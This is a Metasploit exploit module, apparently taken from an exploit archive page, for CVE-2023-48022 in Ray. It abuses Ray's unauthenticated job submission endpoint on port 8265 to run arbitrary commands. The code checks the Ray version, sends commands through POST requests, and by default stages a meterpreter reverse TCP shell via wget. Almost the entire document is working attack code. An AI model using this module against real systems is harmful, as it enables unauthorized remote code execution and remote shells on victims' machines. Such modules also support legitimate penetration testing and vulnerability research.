Share
## https://sploitus.com/exploit?id=PACKETSTORM:180358
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ray Agent Job RCE',  
'Description' => %q{  
RCE in Ray via the agent job submission endpoint.  
This is intended functionality as Ray's main purpose is executing arbitrary workloads.  
By default Ray has no authentication.  
},  
'Author' => [  
'sierrabearchell', # Vulnerability discovery  
'byt3bl33d3r <marcello@protectai.com>', # Python Metasploit module  
'Takahiro Yokoyama' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2023-48022'],  
['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'],  
['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/']  
],  
'CmdStagerFlavor' => %i[wget],  
'Payload' => {  
'DisableNops' => true  
},  
'Platform' => %w[linux],  
'Targets' => [  
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],  
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],  
[  
'Linux Command', {  
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',  
'FETCH_COMMAND' => 'WGET',  
'MeterpreterTryToFork' => true  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-11-15',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8265),  
]  
)  
end  
  
def get_job_data(cmd)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/jobs/'),  
'data' => { 'entrypoint' => cmd }.to_json  
})  
unless res && res.code == 200  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'),  
'data' => { 'entrypoint' => cmd }.to_json  
})  
end  
return unless res && res.code == 200  
  
JSON.parse(res.body)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/version')  
})  
return Exploit::CheckCode::Unknown unless res && res.code == 200  
  
ray_version = res.get_json_document['ray_version']  
  
return Exploit::CheckCode::Unknown unless ray_version  
  
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')  
  
@job_data = get_job_data('ls')  
return Exploit::CheckCode::Vulnerable unless @job_data.nil?  
  
Exploit::CheckCode::Appears  
end  
  
def exploit  
@job_data ||= get_job_data('ls')  
if @job_data  
print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")  
end  
case target['Type']  
when :nix_cmd  
execute_command(payload.encoded)  
else  
execute_cmdstager({ flavor: :wget })  
end  
end  
  
def execute_command(cmd, _opts = {})  
get_job_data(cmd)  
end  
  
end